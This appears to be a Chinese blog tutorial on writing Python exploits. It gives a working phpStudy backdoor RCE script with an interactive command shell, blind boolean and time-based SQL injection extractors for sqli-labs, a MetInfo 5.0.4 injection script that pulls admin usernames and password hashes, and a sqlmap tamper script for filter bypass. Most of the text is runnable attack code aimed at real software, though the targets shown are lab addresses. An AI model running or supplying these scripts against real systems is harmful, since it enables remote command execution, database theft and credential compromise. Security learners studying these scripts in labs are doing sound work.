• Python灰帽编程——定制EXP武器库


    定制EXP之RCE

    四个常见概念:

    • POC:(Proof of Concept)概念验证,常指一段漏洞证明的代码。 作用:用来证明漏洞存在的(无害的)
    • EXP:(Exploit)利用,指利用系统漏洞进行攻击的动作。 作用:用来利用漏洞的(有害的)
    • Payload:(攻击载荷,指成功exploit之后,真正在目标系统执行的代码或指令。
    • Shellcode:利用漏洞时所执行的代码。Payload的一种,由于其建立正向/反向shell而得名。
    名词解释
    POC (Proof of Concept)漏洞验证代码,验证漏洞的存在性。
    EXP (Exploit)渗透、攻击
    完整的漏洞利用工具
    RCE (Remote Code|Command Execute)漏洞的类型
    在远程目标上执行代码或命令

    手工验证漏洞的问题:

    • 效率
    • 准确性

    针对RCE 漏洞开发EXP,常见的RCE 漏洞:

    • phpstudy_2016-2018_rce
    • seacms_6.26-6.28_rce
    • sangfor_edr_3.2.19_rce

    考虑将写好的EXP 集成到pocsuite3框架中。

    1. 常见模块介绍

    1.1 base64

    base64 模块就是用来进行base64 编解码操作的模块。

    1.1.1 base64 编码

    直接利用模块中函数即可,注意使用二进制形式进行编码

    >>> import base64
    >>> s = '''system("whoami");'''
    >>> base64.b64encode(s.encode())
    b'c3lzdGVtKCJ3aG9hbWkiKTs='
    >>> base64.b64encode(s.encode()).decode()
    'c3lzdGVtKCJ3aG9hbWkiKTs='
    >>>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1.1.2 base64 解码

    直接使用函数即可。

    >>> import base64
    >>> s = "c3lzdGVtKCJ3aG9hbWkiKTs="
    >>> base64.b64decode(s)
    b'system("whoami");'
    >>> base64.b64decode(s).decode()
    'system("whoami");'
    >>>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    1.2 string

    字符集合模块。

    >>> import string
    >>> string.
    string.Formatter(       string.ascii_uppercase  string.octdigits
    string.Template(        string.capwords(        string.printable
    string.ascii_letters    string.digits           string.punctuation
    string.ascii_lowercase  string.hexdigits        string.whitespace
    >>> string.printable
    '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
    >>> string.printable.strip()
    '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
    >>>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    2. 常规 EXP 编写

    2.1 phpstudy_2016-2018_rce

    argparse简介

    2.1.1 漏洞利用脚本
    # phpstudy_2016-2018_rce
    
    """
    GET /phpinfo.php HTTP/1.1
    Host: 10.4.7.130
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
    Accept-Encoding: gzip,deflate
    Accept-Charset: 
    
    """
    
    import requests
    import base64
    
    url = "http://10.4.7.130/phpinfo.php"
    
    cmd = "net user"
    
    cmd = f'''system("{cmd}");'''
    
    cmd = base64.b64encode(cmd.encode()).decode()
    
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
        "Accept-Encoding"   : "gzip,deflate",
        "Accept-Charset"    : f"{cmd}"
    }
    
    res = requests.get(url = url, headers = headers)
    
    html = res.content.decode("GBK")
    
    offset = html.find(")
    
    result = html[0:offset]
    
    print(result)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    说明:gzip,deflate逗号后面不加空格。

    2.1.2 进阶脚本
    • 漏洞存在性测试:无损;
    • 循环执行命令。
    import requests
    import base64
    import argparse
    import string
    import random
    from pyfiglet import Figlet
    from termcolor import colored
    
    # banner信息
    f = Figlet(font='slant')
    print('**' * 25)
    print('--' * 25) 
    banner = f.renderText('backdoor')
    print(banner)
    print('--' * 25)
    print('**' * 25)
    
    # 创建选项指定对象
    # ArgumentParser用于处理命令行参数的定义和解析。
    parser = argparse.ArgumentParser()
    
    # 设定选项
    parser.add_argument('-u','--url',help = '指定检测的目标',dest="url")
    parser.add_argument('-c','--cmd',help = '指定执行的命令',dest="cmd")
    
    # 解析选项对象
    # 调用parse_args()方法解析传递给脚本的命令行参数。
    args = parser.parse_args()
    
    if not args.url:
        print("[+] Usage: Python *.py -u http://192.168.188.187/phpinfo.php -c whoami")
        exit()
    
    # 通过args对象的属性来访问各个参数的值。
    url = args.url
    cmd = args.cmd
    
    print(f"[+] Target: {url}")
    print(f"[+] Target: {cmd}")
    
    # 漏洞检测
    def attack(cmd):
        cmd = f"system('{cmd}');"
    
        # 因为b64encode在加密的时候需要二进制数据,所以cmd.encode()
        # 但是在headers中需要的是字符串,再将其进行解密decode()
        cmd = base64.b64encode(cmd.encode()).decode()
    
        headers= {
            "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
            "Accept-Encoding" : "gzip,deflate",
            "Accept-Charset" : cmd
        }
    
        res = requests.get(url = url , headers = headers)
    
        html = res.content.decode("gbk")   
        result = html[:html.rfind(")]
        return result 
    
    # 无损检测(输出随机字符串)
    def verify():
        random_str = ""
        for i in range(10):
            # random.choice从字符串中随机选择一个字符
            # string.ascii_letters是string模块中的一个常量,它包含大小写字母 A-Z 和 a-z 的字符串。
            random_str += random.choice(string.ascii_letters)
    
        cmd = f"echo {random_str}"
    
        # 判断字符串是否打印成功
        if random_str in attack(cmd):
            print(colored(f"[+] Target {url} is VULNERABLE!","green"))
        else:
            print(colored(f"[+] Target {url} is NOT VULNERABLE!","red"))
            exit()    
    
    verify()
    
    flag = input(f"Could you want to continue?[Y/n]")
    if flag == "n":
        exit()
    
    while True:
        cmd = input("<➡️> ")
        if cmd == 'exit':
            break
            
        print(attack(cmd))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89

    image-20230921163731532

    image-20230921163830360

    2.2 SQL 注入 EXP

    2.2.1 布尔盲注

    sqli-labs/Less-8为例

    字符型注入,但是没有回显、没有报错,考虑布尔盲注

    image-20230921195637321

    测试数据库位数

    image-20230921195658821

    测试数据名称每一位的字符

    image-20230921195722666

    脚本编写

    import requests
    import string
    
    url = "http://192.168.188.187/sqli-labs/Less-8/"
    
    con_len = 0
    con = ""
    i = 0
    
    def get_true(url,payload):
        full_url = url + payload
        res = requests.get(url = full_url)
        # print(full_url)
        if "You are in..........." in res.text:
            return(True)
        else:
            return(False)
    
    # 测试数据库长度
    while True:
        i += 1
        payload= f"?id=1' and length(database())={i} -- "
    
        if get_true(url,payload):
            # 数据库长度
            con_len = i
            print(f"[*] The length is {con_len}")
            break
    
    print("======================================================")
    
    # 定义所猜测数据库名的字符(可打印字符)
    c_set = string.printable.strip()
    
    # 按位测试数据库名称
    for i in range(con_len):
        for c in c_set:
            # ord(c) 是 Python 的内置函数之一,用于返回一个字符的 Unicode 码位(code point)。
            payload= f"?id=1' and ascii(substr(database(),{i + 1},1))={ord(c)} -- "
    
            # 调用函数发送数据包
            if get_true(url,payload):
                # 将检测得到的数据库每一位字符做拼接
                con += c
                print(f"[*] The content {con}")
    
    print("======================================================")
    
    j = 0
    # 测试数据库中表名的长度
    while True:
        j += 1
        payload= f"?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j} -- "
    
        if get_true(url,payload):
            # 数据库长度
            con_len = j
            print(f"[*] The table length is {con_len}")
            break
    
    print("======================================================")
    
    table_name = ""
    # 按位测试数据库中的表
    for i in range(con_len):
        for c in c_set:
            payload= f"?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(c)} --+"
    
            if get_true(url,payload):
                # 将检测得到的数据库每一位字符做拼接
                table_name += c
                print(f"[*] The table name {table_name}")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    运行结果:

    image-20230922153851758

    2.2.2 延时注入

    image-20230921200519049

    脚本编写

    import requests
    import string
    
    url = "http://192.168.188.187/sqli-labs/Less-9/"
    
    con_len = 0
    con = ""
    i = 0
    
    def get_timeout(url,payload):
        full_url = url + payload
        # print(full_url)
        try:
            res = requests.get(url = full_url, timeout = 3)
        except:
            return "timeout"
        else:
            return res.text
    
    # 获取数据库长度
    while True:
        i += 1
        payload = f"?id=1' and if(length(database())={i},sleep(5),1) -- "
    
        if "timeout" in get_timeout(url,payload):
            # 数据库长度
            con_len = i
            print(f"[*] The length is {con_len}")
            break
    
    print("======================================================")
    
    # 定义所猜测数据库名的字符(可打印字符)
    c_set = string.printable.strip()
    
    # 获取数据库名称
    for i in range(con_len):
        for c in c_set:
            payload= f"?id=1' and if(ascii(substr(database(),{i + 1},1))={ord(c)},sleep(5),1) -- "
    
            if "timeout" in get_timeout(url,payload):
                # 数据库长度
                con += c 
                print(f"[*] The content {con}")
    
    print("======================================================")
    
    # 获取数据库表的长度
    j = 0
    while True:
        j+=1
        payload = f"?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j},sleep(5),1) -- "
    
        if "timeout" in get_timeout(url,payload):
            # 数据库长度
            con_len = j
            print(f"[*] The table length is {con_len}")
            break
    
    print("======================================================")
    
    table_name = ""
    # 按位测试数据库中的表
    for z in range(con_len):
        for c in c_set:
            payload = f"?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{z+1},1)='{c}',sleep(5),1) -- "
    
            if "timeout" in get_timeout(url,payload):
                # 数据库名称
                table_name += c 
                print(f"[*] The table name {table_name}")
                break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    image-20230922153930306

    2.3 metinfo_5.0.4 EXP编写

    2.3.1 SQL注入漏洞

    漏洞验证

    页面正常

    image-20230922112858770

    页面不正常说明存在SQL注入。

    image-20230922112914505

    编写SQL脚本

    import requests
    import string
    
    url = "http://192.168.188.187/metInfo_5.0.4/about/show.php?lang=cn&id=22"
    
    con_len = 0
    con = ""
    i = 0
    
    def get_true(url,payload):
        full_url = url + payload
        # print(full_url)
        res = requests.get(url = full_url)
        if "../404.html" not in res.text:
            return(True)
        else:
            return(False)
    
    # 测试数据库长度
    while True:
        i += 1
        payload= f" and length(database())={i}"
    
        if get_true(url,payload):
            # 数据库长度
            con_len = i
            print(f"[*] The length is {con_len}")
            break
    
    # 定义所猜测数据库名的字符(可打印字符)
    c_set = string.printable.strip()
    
    # 按位测试数据库名称
    for i in range(con_len):
        for c in c_set:
            # ord(c) 是 Python 的内置函数之一,用于返回一个字符的 Unicode 码位(code point)。
            payload= f" and ascii(substr(database(),{i + 1},1))={ord(c)}"
    
            if get_true(url,payload):
                # 将检测得到的数据库每一位字符做拼接
                con += c
                print(f"\r[*] The content {con}", end=' ')
    
    print("\n======================================================")
    
    j = 0
    # 测试数据库中表名的长度
    while True:
        j += 1
        payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j}"
    
        if get_true(url,payload):
            # 数据库长度
            con_len = j
            print(f"\r[*] The table length is {con_len}", end=' ')
            break
    
    print("\n======================================================")
    
    table = ""
    # 按位测试数据库中的表
    for i in range(con_len):
        for c in c_set:
            payload= f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(c)}"
    
            if get_true(url,payload):
                # 将检测得到的数据库每一位字符做拼接
                table += c
                print(f"\r[*] The table_name {table}", end=' ')
    
    print("\n======================================================")
    
    # 查找数据库中的字段的长度
    while True:
        j += 1
        payload= f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name =0x6d65745f61646d696e5f7461626c65))={j}"
    
        if get_true(url,payload):
            # 数据库长度
            con_len = j
            print(f"\r[*] The table length is {con_len}", end=' ')
            break
    print("\n======================================================")
    
    # 获取数据库中的字段的名字
    for i in range(con_len):
        for c in c_set:
            payload= f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and  table_schema=database()),{i + 1},1))={ord(c)}"
    
            if get_true(url,payload):
                # 将检测得到的数据库每一位字符做拼接
                table += c
                print(f"\r[*] The table_name {table}", end=' ')
    
    print("\n======================================================")
    
    # 获取用户名密码长度
    while True:
        j += 1
        payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={j}"
    
        if get_true(url,payload):
            # 数据库长度
            con_len = j
            print(f"\r[*] The length is {con_len}", end=' ')
            break
    print("\n======================================================")
    
    # 获取用户名密码
    for i in range(con_len):
        for c in c_set:
            payload= f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{i + 1},1))={ord(c)}"
    
            if get_true(url,payload):
                # 将检测得到的数据库每一位字符做拼接
                table += c
                print(f"\r[*] The table_name {table}", end=' ')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117

    3. 定制SQLmap

    3.1 tamper脚本

    SQLmap是一款SQL注入神器,可以通过tamper对注入payload进行编码和变形,已达到绕过某些限制的目的。但是有些时候,SQLmap自带的Tamper脚本有时候并不是特别好用,需要根据实际情况定制Tamper脚本。

    sqlmap,Tamper详解及使用指南 – WebShell’S Blog

    3.2 sqli-labs/less-26

    关卡分析

    image-20230922135408862

    image-20230922135459940

    发现我们提交的结果中是有空格的,但是页面中的显示是没有空格的,说明空格被过滤了。并且and也被过滤了。

    使用%a0替换空格和双写and来进行绕过。

    image-20230922135807349

    总结

    被过滤字符如下:

    字符替代字符
    –+ #and '1 and 1='1
    andanANDd
    oroORr
    空格%a0(linux 系统特性)

    3.3 tamper脚本编写

    sqlmap使用-v参数可以查看注入的payload

    #这个要放到sql工具脚本中去使用
    import re
    
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.HIGHEST
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        """
                     %a0
        and                 anANDd
        --+                  and '1
        or                  oORr
        """
        payload = re.sub(r"(?i)-- "," and 'lili",payload)
        payload = re.sub(r"(?i)and","anANDd",payload)
        payload = re.sub(r"(?i)or","oORr",payload)
        payload = re.sub(r"(?i)\ ","%a0",payload)
    
        return payload
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    代码解析

    • re.sub() 是 Python 中 re 模块提供的一个函数,用于在字符串中执行正则表达式的替换操作。
    • (?i) 是一种正则表达式的标志,用于设置匹配模式为不区分大小写。通过使用 (?i) 标志,可以在查询中忽略字符的大小写差异。

    执行结果

    在–tamper后面跟上我们编写的脚本名称

    python .\sqlmap.py -u "http://192.16
    8.188.187/sqli-labs/Less-26/?id=1" -v3 --tamper sqli-labs_26
    
    • 1
    • 2

    image-20230922142652382

    image-20230922142706987

    尝试爆破库名

    python .\sqlmap.py -u "http://192.16
    8.188.187/sqli-labs/Less-26/?id=1" -v3 --tamper sqli-labs_26 -dbs
    
    • 1
    • 2

    image-20230922143631418

  • 相关阅读:
    Java Spring MVC 中使用JdbcTemplate示例
    RabbitMQ单机部署
    第一百三十八回 如何在图标旁边添加小红点
    Linux系统之file命令的基本使用
    【云原生 | 10】Docker数据管理
    荧光素醋酸,CAS号: 96087-38-6
    【RabbitMQ】——入门&安装
    【浅学Java】深入理解TCP的10种机制
    vue(2)
    Win11怎么关闭开机自启动软件
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133174883